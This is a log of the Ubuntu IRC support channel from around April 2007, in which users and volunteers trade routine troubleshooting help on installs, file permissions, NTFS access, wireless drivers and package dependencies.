[12:01] <max_> anyone knows a good brown gtk2 theme for gnome?
[12:01] <max_> i liked the "maple" color in win 2k
[12:01] <bokey> max_: "good brown" ? heh
[12:01] <max_> any brown :)
[12:01] <bokey> max_: looked in gnome-look.org yet ?
[12:02] <max_> yep
[12:02] <dooglus> !pf
[12:02] <ubotu> Sorry, I don't know anything about pf - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[12:02] <bokey> max_: sort by popularity yet ?
[12:02] <max_> all is blue or dark
[12:02] <mg> hi
[12:02] <max_> yep..
[12:02] <dooglus> b^j: what's 'pf'?
[12:02] <dooglus> !info pf
[12:02] <ubotu> Package pf does not exist in edgy, edgy-backports, edgy-seveas
[12:02] <velko> dooglus: it's bsd tool
[12:03] <bokey> dooglus: it's a packet filtering tool similar to netfilter for linux.
[12:03] <bokey> dooglus: why do you need it for Ubuntu ? there's a good iptables already ?
[12:03] <mg> on the ubuntu website one can read that 7.04 will be released on the 19th of april. is there any more accurate information awailable like ,,7.04 will be released on 19.04, 14:00 UTC'' ?
[12:04] <exism> is it possible to create a mdadm RAID5 array with only two drives (for the purpose of adding more later and not having to come up with backups)
[12:04] <kitche> mg: nope no time just that it iwll be released it's sora like microsoft saying that Longhorn will be released on December 14th at 00:00
[12:04] <bokey> mg: set up watch on feisty website. ;)
[12:05] <bokey> mg: that way you know when the webpage's changed.
[12:05] <mg> some rss or something available with the image included? ;-)
[12:05] <solitude> in the bar at he top, i jsut removed the system, applications etc menus by accident
[12:05] <solitude> how do i get them back?
[12:05] <bokey> mg: just wget the page, dump it to /dev/null and compare latest with old one. if changed, send a mail to yourself. ;)
[12:05] <adaptr> right-click the bar, add the system menu back
[12:06] <mg> rofl
[12:06] <mg> arg
[12:06] <mg> wrong tab
[12:07] <larry> hi
[12:07] <larry> I'm having massife trouble with my machine
[12:08] <larry> hi boke
[12:08] <larry> hi bokey *
[12:08] <larry> I have an amd Athlon machine
[12:08] <larry> I cant boot any ubuntu install discs apart from breezy
[12:09] <larry> I have breezy installed but the last time I tried dist upgrade it killed my machine
[12:09] <bokey> larry: gksu "update-manager -c" should upgrade
[12:09] <zootm> presumably something in the kernel changed so that it no longer supports your hardware?
[12:10] <solitude> adaptr, that  option isnt shown
[12:10] <larry> zootm, it's a very new machine
[12:10] <adaptr> solitude: nonsense, of course it is
[12:10] <bokey> larry: so the original problem is that you can't boot ubuntu disc right ?
[12:11] <adaptr> add applet -> utilities -> main menu
[12:11] <larry> bokey, I had always updated with apt-get on my old box - it always worked
[12:11] <adaptr> jezus, hand-holding 101 again :P
[12:11] <bokey> larry: are you downloading the right disc for amd ?
[12:11] <larry> I cant boot any disk other than breezy and dist upgrade to dapper failed on me
[12:11] <larry> yup
[12:11] <larry> AMD 64
[12:11] <zootm> that's kinda weird
[12:11] <zootm> might be worth trying the x86 version?
[12:12] <bokey> larry: so what does gksu "update-manager -c" do ?
[12:12] <larry> I tried the 32 bit versions too -  which should work
[12:12] <bokey> larry: let's step back and see.
[12:12] <mojojojo_> Is there a tool to install which would allow me to shutdown computer after a given perfiod of time??
[12:12] <zootm> larry: they should, yeah
[12:12] <bokey> mojojojo_: do "man at"
[12:12] <zootm> mojojojo_: I think that the "shutdown" command line tool takes a time
[12:12] <solitude> thanks adaptr, i have the main menu now, how do i get system and the 3rd one back?
[12:12] <larry> but they didnt work either. The dapper boot disks came up and hung every time - both the 32 and the 64
[12:13] <bokey> larry: i am not familiar with 64-bit Ubuntu. sorry
[12:13] <larry> mojojojo_,  have a look at the commands sleep and shutdown
[12:13] <adaptr> je-sus
[12:13] <TehWuzyl> I'm having trouble printing via Samba to a printer hosted on Ubuntu 6.10. Extensive details are here: http://htyp.org/2007-04-16_hypertwins_printing_problem
[12:14] <bokey> !pastebin | TehWuzyl
[12:14] <ubotu> TehWuzyl: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[12:14] <larry> can I update to edgy without updaing to dapper first? is it a bad idea???
[12:14] <PriceChild> mojojojo_, "sudo shutdown -h ##:##" or "sudo shutdown -h +##"
[12:14] <bokey> larry: not a good idea.
[12:14] <larry> ok
[12:14] <PriceChild> mojojojo_, where the first example is a 24 hour time, the second being a number of minutes
[12:14] <TehWuzyl> bokey: the details at that URL are more nicely formatted than pastebin does.
[12:14] <larry> upgrade to dapper killed my xorg
[12:14] <mojojojo_> PriceChild: thanks a lot :)
[12:15] <bokey> TehWuzyl: I don't use external pages other than pastebin
[12:15] <hivemind> You people are smart.
[12:15] <larry> hivemind, we do our best
[12:15] <hivemind> If I'm getting a file from a non Canonical repo, and they have the same file name
[12:16] <hivemind> What happens?
[12:16] <bokey> mojojojo_: if you carefully look at "man at", it tells you how invoke a program at specific time you want. it can be any program other than "shutdown"
[12:16] <hivemind> (I want tor from some other repo, not tor from the universe)
[12:17] <bokey> !tor | hivemind
[12:17] <ubotu> Sorry, I don't know anything about tor - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[12:17] <bokey> !info tor
[12:17] <ubotu> tor: anonymizing overlay network for TCP. In component universe, is optional. Version 0.1.1.23-1 (edgy), package size 763 kB, installed size 1556 kB
[12:17] <hivemind> Yeah, the universe one is outdated.
[12:17] <bokey> hivemind: so just get a .deb from somewhere
[12:17] <andres> #ubuntu-es
[12:17] <TehWuzyl> bokey: http://paste.ubuntu-nl.org/16177/  ... but I guarantee the other URL will be easier to read.
[12:18] <steharg79> looking for a little advice on crossover office - does anyone know if it will run illustrator / indesign (latest versions?) to save me having to duel boot?
[12:18] <hivemind> :\ Okay
[12:18] <Andrew4> I have a belkin wireless card, anyone know how to get that working with Ubuntu
[12:18] <kitche> steharg79: think they havea version specialized to run those programs if you want to pay for it of course though
[12:18] <ali1234> this is preventing me from installing libcurl3-dev: libkrb5-dev: Depends: libkrb53 (= 1.4.3-9ubuntu1) but 1.4.3-9ubuntu1.1 is to be installed
[12:19] <bokey> TehWuzyl: "sudo invoke-rc.d cupsys restart; sudo gnome-cups-manager"
[12:19] <TehWuzyl> bokey: thanks; will try.
[12:19] <steharg79> yea i dont mind paying to be honest - the open source alternatives just dont cut the mustard for work
[12:19] <Taime1> how do i know what port RDP uses?
[12:20] <Gerrial> 3389
[12:20] <bokey> steharg79: yes it does. open source is better than bloody propreitery software
[12:20] <Crazytom> Andrew4, what chipset do you have?
[12:20] <bokey> ali1234: so what's the problem ?
[12:20] <Taime1> that the default, Gerrial?
[12:21] <LDZ420> Hey,  My question is why would I be getting a permissions denied message when I am the owner of a directory?
[12:21] <TehWuzyl> bash: gnome-cups-manager: command not found <-- guess I should be in #kubuntu...
[12:21] <adaptr> steharg79: illustrator has never been more than an unusable POS, and indesign is just a cheap LaTex ripoff ;-)
[12:21] <adaptr> boycot Adobe!
[12:21] <ali1234> bokey: i can't install libcurl3-dev
[12:21] <adaptr> friggin flash-gestapo...
[12:21] <Andrew4> cant remember the chipset of hand, but i have an asus A8n motherboard
[12:21] <bokey> ali1234: are you using synaptic package manager or something else ?
[12:22] <Crazytom> Andrew4, do sudo lspci -v | grep Wireless
[12:22] <ali1234> bokey: apt-get
[12:22] <steharg79> haha... to be honest i quite like scribus but its a bit behind indesign - and there is nothing comes close to illustrator. i use these apps constantly and need to exchange files with clients so need to run them on or through linux as well
[12:22] <bokey> ali1234: "sudo synaptic"
[12:22] <ali1234> bokey: https://bugs.launchpad.net/ubuntu/+source/krb5/+bug/59364
[12:22] <bokey> ali1234: try that for now and see.
[12:23] <bokey> ali1234: so it's more to do with dependencies itself.
[12:23] <b^j> i am getting an error on install of edgy (netboot with a preseed file if it matters) that says that it failed on "Select and install software" anyone know how i can track down exactly what it is failing on?
[12:23] <bokey> umm..
[12:23] <Andrew4> whats that going to do, im not on my linux partition
[12:24] <Crazytom> Andrew4, it's going to tell us what kind of chipset it is
[12:25] <ali1234> bokey: no sh*t. from that bug report (which was rejected) i get the impression i can either have a secure kerberos lib, or one with development headers, but not both.
[12:25] <Andrew4> alright, ill reboot, and be back in 10
[12:25] <|NewUser|> how can i take backup of this folder ? " /var/cache/apt " i want this apt folder with all folders and files in it.. want to backup on another drive or place ? for some reason i just installed fiesty in new machine and i dont have internet there.so dont want to download or update anymore coz all. so this is my all update and download packages there.. anyone can help ?
[12:25] <LDZ420> I have changed done a cp --no preserve on the directory, The only thing that seems to work is if I use a hard link on the files but that take a long time
[12:25] <Crazytom> ok
[12:26] <dooglus> LDZ420: you need to have read permission on the files you're trying to read as well the directory
[12:27] <bokey> ali1234: libcurl3-dev does not depend on libkbr at all.
[12:27] <bokey> ali1234: so i don't understand why you are getting dependency problem.
[12:28] <ali1234> bokey: look at dependancies for libcurl3-openssl-dev (the real package)
[12:28] <Taime1> after setting up RDP , and forwarding the ports, i am STILL unable so connect to my linux box externally.... but i CAN connect internaly...what am i doing wrong?
[12:29] <LDZ420> I have read/wrote permissions on the director and file
[12:29] <dooglus> LDZ420: show a command and corresponding error
[12:29] <bokey> ali1234: wtf ? i thought it was libcurl3-dev
[12:30] <ali1234> bokey: libcurl3-dev is a transitional package that installs libcurl3-openssl-dev
[12:31] <bokey> ali1234: yeah i see that and the openssl package as well.
[12:32] <ali1234> downgrading libkrb53 has fixed the problem. i wonder what it will break...
[12:33] <xwisex> hey, can somebody help me please?  I had a bad system failure yesterday (power spike from roommate flipping a breaker when computer was shutting down)
[12:33] <xwisex> i had to boot with the ubuntu cd, took a story i was wrting on, and put it on a floppy drive
[12:33] <progrock> anyone purchase a lightweight laptop recently with intentions on runnign ubuntu primarily?... i ned some help picking out a laptop
[12:33] <xwisex> i loaded XP... and i need access to that file on windows
[12:33] <xwisex> but its not showing up when i open the CD drive
[12:34] <xwisex> anybody know of a took which i will be able to see that ext3 file on?
[12:34] <xwisex> *tool
[12:34] <adaptr> xwisex: it wouldn't, would it ? you put a floppy in the CD drive ?
[12:34] <xwisex> floppy
[12:34] <kitche> xwisex: is the floppy formated ext3 or vfat
[12:34] <xwisex> vfat
[12:34] <LDZ420> bash: cd: drupal_doc/: Permission denied
[12:34] <LDZ420> lando@obiwan:/media/hda9/Rap/drupal_doc$ ls -la
[12:34] <LDZ420> total 4
[12:34] <LDZ420> drwxr-xr-x 3 lando lando 1024 2007-04-17 15:08 .
[12:34] <LDZ420> drwxr-xr-x 4 lando lando 2048 2007-04-17 15:22 ..
[12:34] <LDZ420> drw-r--r-- 6 lando lando 1024 2007-04-17 15:08 drupal_doc
[12:34] <kitche> xwisex: then windows should see it fine
[12:35] <LDZ420> srry
[12:35] <Kevin> hello everyone
[12:35] <kitche> !paste| LDZ420
[12:35] <ubotu> LDZ420: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[12:35] <xwisex> its one of my roommates, it also has some VB files on it
[12:35] <bokey> xwisex: http://uranus.it.swin.edu.au/~jn/linux/ext2ifs.htm
[12:35] <ali1234> xwisex: did you type "sync" before ejecting the floppy?
[12:35] <Paul_UK> hey all, what package do i install to use pptp for ms vpn ?
[12:35] <aricz> argh, what was the command for the screen/screen -"something" ..
[12:35] <kitche> bokey: that won't help him since the disk is fat32
[12:35] <xwisex> ali1234... was i supposed to?
[12:35] <Kevin> I have a problem, I moved my hd to a different pc and now it wont boot
[12:36] <Kevin> how do i fix it?
[12:36] <mike1> Kevin: with the same os?
[12:36] <Kevin> yes
[12:36] <ali1234> xwisex: yes. it flushes the disk cache, so the file actually gets writen to the disk, instead of just sitting in memory waiting for some idle moment to actually copy it
[12:36] <Paul_UK> is 7.04 out tomorrow?
[12:36] <dooglus> LDZ420: you need execute permission on a directory to cd into it
[12:36] <bokey> Paul_UK: in some part of the world. yes
[12:36] <lieter> dumb question: i just switched to ubuntu (w00t for me), and ive made a partition and mounted it as /music, now i have copied everything from my MP3/HDD to that folder. but i cant open it, how can i set the permissions right(output of ls -al: ?--------- ? ? ? ?                ? /music/Gamma Ray
[12:36] <Kevin> i really dont want to reinstall cause I will lose all my configuration data
[12:36] <Paul_UK> niiiiiiiiiiiice cant wait
[12:37] <Paul_UK> what package do i install to use pptp for ms vpn ?
[12:37] <xwisex> i typed   "ls /media/floppy"
[12:37] <goban> how do i install issri
[12:37] <mike1> Kevin: If different haedware ,You will need to reinstall
[12:37] <Crazytom> lieter, check out man chmod
[12:37] <xwisex> and it showed the file
[12:37] <bokey> Paul_UK: you can use vpnc
[12:37] <bokey> !info vpnc | Paul_UK
[12:37] <ubotu> paul_uk: vpnc: Cisco-compatible VPN client. In component universe, is extra. Version 0.3.3+SVN20051028-3ubuntu2 (edgy), package size 52 kB, installed size 220 kB
[12:37] <mike1> Kevin: If different hardware
[12:37] <Kevin> mike1 that sucks
[12:37] <ali1234> xwisex: it would. but that file can still be in the disk cache, and not really writen to the disk
[12:37] <dooglus> does anyone have any idea if it's possible to upgrade from 6.06 to 6.10 if I'm using a casper-rw memory stick + live CD?
[12:37] <kitche> Kevin: was the bootloader on the harddrive that you put in the new machine?
[12:38] <xwisex> ali1234 is there a chance its on there?
[12:38] <Paul_UK> bokey same as vpnc?
[12:38] <mike1> Kevin: windows is worse :)
[12:38] <lieter> ok Crazytom
[12:38] <Paul_UK> bokey same as Kvpnc?
[12:38] <Kevin> kitche bootloader is on the hd and works fine
[12:38] <bokey> Paul_UK: kvpnc is the KDE front end that can handle other protocols as well
[12:38] <Kevin> kitche it hangs
[12:38] <bokey> Paul_UK: but essentially yes
[12:38] <kitche> Kevin: so what error are you getting when booting ubuntu like where does it hang
[12:38] <Paul_UK> hmm can only see Kvpnc
[12:39] <lgc> AmyRose, Hi!
[12:39] <Crazytom> lieter, and man chown
[12:39] <bokey> Paul_UK: just get vpnc from repo and run it. it's pretty simple to use
[12:39] <goban> how do i install issri (i want to run irc via a shell acct)
[12:39] <Paul_UK> apt-get vpnc?
[12:39] <bokey> Paul_UK: make a configuration file and then do "vpnc <configuration_file"
[12:39] <ali1234> xwisex: if it was on the disk, you would see it. if the disk was ext3 or something, windows would ask you to format it.
[12:39] <teenbeat2007> anyone any knowledge about beryl and ati cards
[12:39] <Paul_UK> lol i only just installed ubuntu 10 mins ago :p
[12:39] <ali1234> xwisex: i suppose it could have the hidden bit set.
[12:40] <bokey> Paul_UK: "sudo apt-get vpnc"
[12:40] <LDZ420> dooglus: thx I was doing everything to try to work around it like making hard links and all other sort of stuff I will NEVER forget that
[12:40] <xwisex> ali1234 damn... thanks for your help... i'm going to exaust troubleshooting before i give up
[12:40] <xwisex> but looks slim
[12:40] <dooglus> LDZ420: you don't need read or write to 'cd' into a directory, but you do need 'x'
[12:41] <Kevin> kitche if I start normally it hang as soon as the ubuntu loading screen comes up , if I choose recovery kernel it hangs at: Begin Waiting for root filesystem.
[12:41] <dooglus> LDZ420: if you have 'r' and not 'x', you can 'ls' a directory, but not cd to it, and vice versa
[12:41] <ali1234> xwisex: just copy it again?
[12:41] <lieter> Crazytom,  sudo chown -R root /music/ ?
[12:41] <Kevin> kitche if I wait long enough Busybox loads
[12:41] <xwisex> ali1234 i formatted that whole drive to ntfs
[12:41] <Crazytom> lieter, i am not an expert
[12:42] <sl0w> I followed the instructions on this site:  http://tvease.net/wiki/index.php?title=Tweak_ubuntu_for_speed and now my filesystem is readonly to me
[12:42] <kitche> Kevin: you need to edit the grub settings to get a more detailed error
[12:42] <bokey> heh
[12:42] <ali1234> xwisex: bad idea. never format the drive until you know you;ve got all the info off it. regardless, you may still be able to recover the file.
[12:42] <Kevin> kitche ok what that
[12:42] <Kevin> is man?
[12:42] <lieter> ok Crazytom, sudo doesnt work, i needed to be root :)
[12:42] <Flying-Penguin> Are their any good wireless managers (Ubuntu 6.10) that allow you to scan fore wireless networks and connect.
[12:42] <xwisex> ali1234 how could i check to see if its on the drive?
[12:43] <kitche> Kevin: then boot into think you need to remove splash and quiet perhaps I know splash needs to go from the config
[12:43] <Crazytom> Flying-Penguin, did you get it to work?
[12:43] <ali1234> xwisex: boot linux and make a raw image of the drive using dd. then use grep to search for strings from the file.
[12:43] <stephen_> need help with vmware
[12:43] <Kevin> kitche you know the commands?
[12:43] <Crazytom> Flying-Penguin, sudo iwlist eth1 scan
[12:43] <Flying-Penguin> Crazytom: nope >< I tryed formating today
[12:43] <kitche> Kevin: just boot into the live cd and mount your hard drive and edit /boot/grub/menu.lst in that drive that you have
[12:43] <xwisex> ali1234 i cant check from within windows?
[12:44] <ali1234> xwisex: that will only work if you did a "quick" format, and if nothing has overwritten the file yet
[12:44] <NemesisD> does anyone know if there will be fore read/write support for ntfs with ubuntu in the near future?
[12:44] <stephen_> Crazytom, is there a help channel for vmware?
[12:44] <b^j> xwisex, unfortunatly ntfs zeros the drive usually, you man be SOL
[12:44] <stanner> yes
[12:44] <stanner> the ntfs3g driver is no longer beta
[12:44] <stephen_> what is it??????????/
[12:44] <xwisex> shit
[12:44] <Andrew4> ok my wireless card is Broadcom Corpotations BCM4318 [airforce One] 
[12:44] <xwisex> i didn't do quick
[12:44] <ali1234> xwisex: maybe, if you can find a tool that does the same as dd on windows
[12:44] <NemesisD> stanner, and it works?
[12:44] <b^j> stephen_, what is your prob?
[12:44] <bokey> xwisex: if you can access your windows partition, just go to http://uranus.it.swin.edu.au/~jn/linux/ext2ifs.htm so that you can access your Linux partition
[12:44] <stanner> yes
[12:45] <kitche> stanner: well it's never gonna be stable really but they call it stable
[12:45] <Flying-Penguin_> Crazytom: sec
[12:45] <stanner> as long as you install ntfs-3g ntfsprogs and ntfstools
[12:45] <stanner> true
[12:45] <leth_> hey, can anyone give me a hand with vnc?
[12:45] <mike1> "spell check" is not working in oo
[12:45] <bokey> kitche: it's pretty stable now
[12:45] <Crazytom> stephen_, no idea man
[12:45] <bokey> kitche: they tested it with thousands & thousands or I/O on ntfs
[12:45] <Flying-Penguin_> !paste
[12:45] <leth_> it doesn't understand symbols from my client, like pipe or arrows
[12:45] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[12:45] <stephen_> b^j, not compiling... it keeps askin me to reconfigure
[12:46] <stephen_> b^j, and I follow the directions on the ubuntu web site
[12:46] <xwisex> :'(
[12:46] <kitche> bokey: true but was this XP ntfs or Vista :)
[12:46] <stanner> if you install thoes packages, Applicartions>systemstools>NTFS Configuration tool
[12:46] <xwisex> it was only about 40000 words
[12:46] <b^j> stephen_, what is the exact error it gives you?
[12:46] <stephen_> b^j, Unable to build the vmmon module.
[12:46] <carcosa> how do I set up mail to my domain name once I have a domain that's hosted and redirected properly?  www works, mail does not.
[12:46] <Flying-Penguin_> Crazytom: http://paste.ubuntu-nl.org/16179/
[12:46] <fatpelt> hey all.  i'm trying to get my ipw3945 to work with wpa and am having some issues.  i've got nm-applet running but it doesn't see any wireless adapter.  (i've followed http://www.debianadmin.com/enable-wpa-wireless-access-point-in-ubuntu-linux.html)
[12:46] <bokey> kitche: well, i don't see if ntfs has changed from XP -> Vista. has it ?
[12:46] <xwisex> it only took a few weeks
[12:46] <stanner> then it has 2 checkboxes one for readwrite support internal drives and one for external drives
[12:46] <NemesisD> stanner, are there any risks here?
[12:46] <xwisex> damnit!
[12:46] <stanner> also it has an options mounting
[12:46] <stanner> uyes
[12:46] <xwisex> i shoud sue my roommate!
[12:46] <stanner> theres always risks
[12:46] <cafuego> bokey: And still I've had at least two people here wipe out their entire ntfs partition with ntfs-3g
[12:46] <stanner> personallly
[12:47] <stanner> i have never had any problems
[12:47] <b^j> stephen_, does it say why? do you have the linux-headers for your kernel? do you have the latest version of vmware?
[12:47] <dooglus> fatpelt: network manager only sees adaptors which *aren't* configured in /etc/network/interfaces
[12:47] <bokey> cafuego: serious ? that's sad.
[12:47] <kitche> bokey: has more security and permissions in Vista then in XP but then again I never use Vista and probably never will even after MS kills XP
[12:47] <stanner> nor has anyone i know
[12:47] <fatpelt> dooglus: *checking*
[12:47] <cafuego> bokey: Yah.
[12:47] <dooglus> fatpelt: you need to leave them as 'auto' I think?
[12:47] <sl0w> I monkied with my fstab now my filesystem is only booting in readonly, even from the recovery console
[12:47] <xwisex> she fucked up my other hdd too... i had to fix the ntfs journal on my media partition
[12:47] <bokey> kitche: neither me. i have lots of friends who dual boot
[12:47] <stephen_> b^j, yes and yes
[12:47] <bokey> kitche: but they never had issues
[12:47] <dooglus> fatpelt: like: auto eth0
[12:47] <dooglus> iface eth0 inet dhcp
[12:48] <b^j> stephen_, but it doesn't say why it couldn't build?
[12:48] <stephen_> b^j, join #vmware
[12:48] <bokey> cafuego: but then again, it's 2 out of so many people who use windows xp. :)
[12:48] <stanner> MenisisD: Also im not sure weather or not it is working for Vistas NTFS
[12:48] <onexused> Can someone help me with installing Ubuntu on a Mac?  Any time I try to boot it from -any- CD, it tells me "... / Can't open config file. / Welcome to yaboot version 1.3.13 / ... / boot: "
[12:48] <NemesisD> stanner, don't have vista yet
[12:48] <fatpelt> dooglus: grr.  that was it.  i didn't notice the blank line in vi (as opposed to ~) and it was well past the end of page where it was configured
[12:48] <cached1> i have a big problem :(
[12:48] <xwisex> You know whats funny?  I work for verizon fixing peoples internet..
[12:48] <stanner> NemesisD: then you should be fine
[12:48] <xwisex> and now i'm fucked
[12:49] <bokey> stanner: your best bet is to use it on a non risky partition formatted with ntfs
[12:49] <dooglus> xwisex: you're supposed to be crap at maths, not english, innit?
[12:49] <NemesisD> stanner, i have windows mounted automatically but I forgot where that file is, for some reason i can't umount /media/windows
[12:49] <stanner> NemesisD: just know you might muck something up
[12:49] <bokey> stanner: ntfs-3g uses fuse so I reckon it's pretty safe to do r/w.
[12:49] <Crazytom> xwisex, watch the language
[12:49] <xwisex> sorry guys, i'm just upset
[12:49] <NemesisD> i don't have a non risky partition that ubuntu likes :|
[12:50] <xwisex> i dont mean to vent
[12:50] <cached> I recently installed Pidgin through the package updator and now I can't see text anywhere, aside from in firefox and terminal. It is probably some GTK thing, but that's just a guess
[12:50] <stanner> bokey: true but there is always the possibility. Thats why in the ntfsprogs/tyools there is stuff for recovering corrupt ntfs partituions
[12:50] <cached> what should I do?
[12:50] <stanner> NemesisD: is it in your fstab?
[12:50] <ali1234> xwisex: i dont understand why you formatted the drive in the first place? pulling the power has never caused any FS damage in my experience.
[12:50] <bokey> stanner: ntfsprog is completely different project i reckon
[12:50] <NemesisD> stanner, probably
[12:50] <NemesisD> i don't think i'm going to risk messing with it though
[12:50] <cached> anyone?
[12:50] <cafuego> ali1234: it does, ends up with unwritten cache
[12:50] <cafuego> !ops
[12:50] <ubotu> Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos, tonyyarusso, PriceChild, Amaranth, jrib, jenda or mneptok
[12:50] <dooglus> !ops
[12:50] <bokey> haha
[12:51] <goban> wth lol
[12:51] <bokey> split split.
[12:51] <stanner> NemesisD: can you run sudo umount /dev/<windowsDrive>
[12:51] <bokey> that's sad
[12:51] <xwisex> ali1234 I needed to run a audio mixing program thatw as too slop with wine
[12:51] <xwisex> ali1234 I needed to run a audio mixing program thatw as too slop with wine
[12:51] <mithrill> Warning: newb question:  \I want to run cpuinf to determine if both processors are being used in Ubuntu... get a permission denied...cant change to su... help?
[12:51] <cached> sudo -s
[12:51] <stanner> wtf?
[12:51] <xwisex> in ubuntu you dont do su
[12:51] <xwisex> sudo!
[12:51] <goban> bot flood
[12:51] <bokey> mithrill: sudo cat /proc/cpuinfo
[12:51] <ali1234> cafuego: unwritten cache never rendered linux unbootable, unless the last thing you wrote to was the kernel (unlikely)
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[12:52] <cached> wtf
[12:52] <PriceChild> !traffic
[12:52] <ubotu> NOTICE - There is a lot of traffic in this channel at the moment. Please try to keep your sentences into a single message, avoid repeating the same question multiple times, use http://paste.ubuntu-nl.org for pasting, remember to mention the nickname of the person you're addressing, and join #ubuntu-offtopic for anything that is not Ubuntu support. Thank you for understanding!
[12:52] <bokey> someone's messing around
[12:52] <stanner> how do you make someones text show red?
[12:52] <bash_> hello
[12:52] <gnomefreak> ty i was getting there.
[12:52] <cached> Can someone please help me :(
[12:52] <goban> whats difference between Kline and Gline
[12:52] <ompaul> gnomefreak, I only +r
[12:52] <Siph0n> gline is for all servers?
[12:52] <Siph0n> kline is for 1 servers?
[12:53] <dooglus> goban: Dline?
[12:53] <Siph0n> on the network
[12:53] <Siph0n> i think
[12:53] <cached> http://ubuntuforums.org/showthread.php?p=2469254
[12:53] <kitche> mithrill: do this sudo cat /proc/cpuinfo and you will see a 0 or 1, 1 means using two procs 0 is only one
[12:53] <ompaul> some kiddes missing class
[12:53] <cached> it's really urgent
[12:53] <fatpel1> dooglus: that was it.  i was an idiot and din't notice that there were blank lines instead of ~ chars.  it was way down after several pages of empty lines
[12:53] <dooglus> fatpel1: yes, you said
[12:53] <dooglus> :)
[12:54] <Stickymaddness> Is it just me or is google down?
[12:54] <cached> just you
[12:54] <Amaranth> google is never down :)
[12:54] <cached> it was once
[12:54] <kitche> cached why did you use another package on Ubuntu?
[12:54] <Amaranth> no it wasn't
[12:54] <dooglus> Amaranth: my gmail account is often down
[12:54] <cached> kitche ?
[12:54] <Amaranth> that was dns cache poisoning
[12:54] <Amaranth> dooglus: that's gmail, it's beta :)
[12:55] <kitche> cached: autopackage messed up your setting you need ot figure out what it did
[12:55] <Stickymaddness> weird it's up for me again :/
[12:55] <ardchoille> ompaul: Nice of them to give you a whole list of ip's to ban, though :)
[12:55] <cached> I noticed this when it was running
[12:55] <PriceChild> ardchoille, our ban lists aren't that big
[12:55] <dooglus> all those IPs were in the USA - strange
[12:55] <SeveredCross> Hah!
[12:55] <SeveredCross> Far from strange.
[12:55] <ompaul> ardchoille, pity really
[12:55] <goban> has google EVER been down?
[12:55] <weasel> yes.
[12:55] <SeveredCross> 90% of US computer users are dumb as a rock.
[12:56] <dooglus> I'd have thought that anyone seeking to control a large number of IP addresses like that would collect whatever they could, not just USA ones?
[12:56] <cached> Pango-CRITICAL **: pango_cairo_show_glyph_string: assertion `PANGO_IS_CAIRO_FONT (font)' failed
[12:56] <konam> hi
[12:56] <dooglus> SeveredCross: 90% of all computer users are.
[12:56] <freezey>  i am trying to boot ubuntu and install it... i keep getting a Buffer I/O error on device sr0 and it gives me the logical block
[12:56] <kitche> cached: reinstall Ubuntu's gtk and just use ubuntu packages
[12:56] <esaym> I got a 1 hour long WMA file that I need to edit and shorten,  Does anyone know of a good program for this?
[12:56] <cached> kitche: how?
[12:56] <stanner> esaym: audacity?
[12:57] <ali1234> freezey: bad cd burn?
[12:57] <kitche> cached: sudo apt-get install libgtk+2.0.0 I think not sure the exact package number but I know it's libgtk+
[12:57] <freezey> ali1234: thats what i thought at first but this is the 2nd dam burn
[12:57] <cached> if it affects anything, i'm on breezy
[12:57] <ali1234> freezey: one of the boot options tests the image. could also be your cdrom.
[12:57] <Amaranth> cached: sudo apt-get --reinstall install libgtk2.0-0
[12:58] <kitche> cached: yeah breezy is way out of date you installed a pakcage for edgy most likely
[12:58] <cached> Amaranth: that package doesn't exist
[12:58] <freezey> ali1234: yeah when it tests the image it hits to a certain part and then gives me that same error screen
[12:58] <Amaranth> cached: that package has existed longer than Ubuntu itself
[12:58] <konam> someone here use dapper (updated) and stil can rip dvds?
[12:58] <konam> i cant
[12:58] <ali1234> freezey: there you go then. bad cds, or a bad reader.
[12:59] <konam> it seems something just go broke
[12:59] <ali1234> freezey: maybe the image didnt download properly?
[12:59] <ardchoille> konam: I use xdvdshrink with Dapper, works great: http://dvdshrink.sourceforge.net
[12:59] <cached> Amaranth: typo :)
[12:59] <freezey> not sure about that its a strait fwd download
[12:59] <ali1234> freezey: that would explain why two burns fail
[12:59] <freezey> from distrowatch
[12:59] <freezey> maybe it was just the shitty cd's
[12:59] <konam> ardchoille with "rip" i mean convert DVD to AVI (DivX)......
[01:00] <ali1234> freezey: check md5sum of the iso you downloaded
[01:00] <ardchoille> konam: acidrip is good for that.
[01:00] <cached> Amaranth: it appears to be reinstalled. should I do a ctrl alt backspace?
[01:00] <stanner> how do i fix a short read when using e2fsck?
[01:00] <Amaranth> cached: yeah
[01:00] <darksoule> Hello. I am new to Ubuntu and was wondering what the difference in the packages are... I mean, what's the difference between the packages you find on ubuntu.com and the ones on debian.org and IS there a difference between the different Ubuntus' (Dapper, Edgy, ect.) packages?
[01:00] <konam> ardchoille yeah, i know, that gets me to my problem.....
[01:01] <kitche> darksoule: Dapper, Egy, etc are updated packages
[01:01] <konam> ardchoille i cant rip dvds....
[01:01] <Amaranth> darksoule: There is a big difference between debian and ubuntu packages
[01:01] <Amaranth> darksoule: and it's usually a bad idea to use a package from another version of ubuntu
[01:02] <darksoule> If they are simply updates, why is it a bad idea?
[01:02] <stanner> darksoule: are you normally a windows user?
[01:02] <kitche> darksoule: different lib's used to compile them
[01:02] <Flannel> darksoule: they're not.  And their dependencies are updated as well, so dependency satisfying becomes nearly impossible with differnet versions simultaneously
[01:03] <darksoule> OK.
[01:03] <stanner> darksoule: would you install IE5 on vista? or would you Install office 2007 on windows 95?
[01:03] <sayers> ompaul: why?
[01:03] <stanner> darksoule: similar concept
[01:03] <boh3m3> Can someone assist me in troubleshooting startup issues with a new install of ubuntu 6.10?
[01:04] <stanner> how do i fix a short read when using e2fsck?
[01:04] <sorcerer> how can i uninstall games that were installed with cedega ?
[01:04] <Dhraakellian> Are there separate DVD's for Ubuntu and Kubuntu?
[01:04] <ali1234> stanner: in my experience short read = time to buy a new HD
[01:04] <Flannel> sorcerer: dont the games have uninstall programs?
